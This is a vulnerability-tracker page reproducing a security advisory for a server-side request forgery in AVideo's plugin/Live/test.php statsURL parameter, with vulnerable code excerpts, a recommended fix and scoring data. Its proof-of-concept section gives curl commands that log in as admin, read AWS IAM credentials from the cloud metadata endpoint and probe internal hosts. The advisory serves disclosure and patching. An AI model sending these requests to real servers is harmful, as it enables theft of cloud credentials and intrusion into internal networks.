GHSA-wxjx-r2j2-96fx: AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php
Noroxi assessment
Priority: Monitor (action score 19/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. Administrator privileges are required. No user action is required. No special conditions are required; it is repeatable.
- No fixed version is recorded, but the references include a patch (commit or PR) link.
Low priority for now. See the fix and affected versions sections below.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary The `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints. ## Details The vulnerable code path is in `plugin/Live/test.php`: **User input (line 11):** ```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { _log('this is not a URL '); exit; } ``` The regex `/^http/` only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges. **Sink — file_get_contents (line 58-68):** ```php if (ini_get('allow_url_fopen')) { try { $tmp = file_get_contents($url, false, $context); _log('file_get_contents:: '.htmlentities($tmp)); ``` **Sink — curl_exec (line 73-94):** ```php } elseif (function_exists('curl_init')) { $ch = curl_init(); // ... curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); // ... $output = curl_exec($ch); // ... _log('curl_init:: '.htmlentities($output)); ``` **Sink — wget (line 114):** ```php if (wget($url, $filename)) { $result = file_get_contents($filename); _log('wget:: '.htmlentities($result)); ``` All three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160). The codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it. Additionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets. The endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin). ## PoC **Step 1: Authenticate as admin and obtain session cookie** ```bash # Login to obtain PHPSESSID PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \ -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}') ``` **Step 2: Read AWS cloud metadata (IAM credentials)** ```bash curl -b "PHPSESSID=${PHPSESSID}" \ 'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/' ``` Expected output: HTML page containing the full cloud metadata response including IAM role names. **Step 3: Read IAM credentials for a specific role** ```bash curl -b "PHPSESSID=${PHPSESSID}" \ 'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole' ``` Expected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role. **Step 4: Scan internal services** ```bash curl -b "PHPSESSID=${PHPSESSID}" \ 'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/' ``` Expected output: Full response from internal service at 192.168.1.1:8080. ## Impact An authenticated admin can: - **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration. - **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet. - **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content. - **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server's IP address. The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors. ## Recommended Fix Add `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15: ```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { _log('this is not a URL '); exit; } // Add SSRF protection if (!isSSRFSafeURL($statsURL)) { _log('URL failed SSRF safety check: ' . htmlentities($statsURL)); exit; } ``` Additionally, enable SSL verification in the curl handler (lines 79-80): ```php // Replace: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); // With: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); ``` And in the stream context (lines 45-49): ```php // Replace: "ssl" => [ "verify_peer" => false, "verify_peer_name" => false, "allow_self_signed" => true, ], // With: "ssl" => [ "verify_peer" => true, "verify_peer_name" => true, "allow_self_signed" => false, ], ```
- Published
- Mar 25, 2026
- Updated
- Mar 25, 2026
- EPSS
- —
- CWE
- CWE-918
Report tools
Action score
19
Low priority for now.
- CVSS
- 19 / 40 · 4.9 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- No fixed version yet
If any of these changes, we'll tell you in the daily email digest.
Is your version affected? Check itNoroxi analysis
What does it mean in your environment?
The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.
We use this product, ask for helpAffected systems
Is your version affected?
Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.
| Vendor | Product | CPE |
|---|---|---|
| Packagist | wwbn/avideo | pkg:composer/wwbn/avideo |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Packagist | wwbn/avideo | up to and including 26.0 | — |
Same product
Packagist: all recordsOther highest-scoring records for the same primary product.
- GHSA-2fch-hv74-fgw9Cross site scripting (XSS) in wwbn/avideo0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
No fix version is recorded for this entry. Check the references for vendor advisories.
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- Administrator privileges are required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- none
- Availability
- none
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- None
- Availability impact
- None
Weakness class (CWE)
CWE-918 · Server-Side Request Forgery (SSRF)CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
ATT&CK techniques
—
Change log (0)
No changes recorded on tracked fields yet. Score, KEV, exploit maturity and fix status changes appear here.
References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.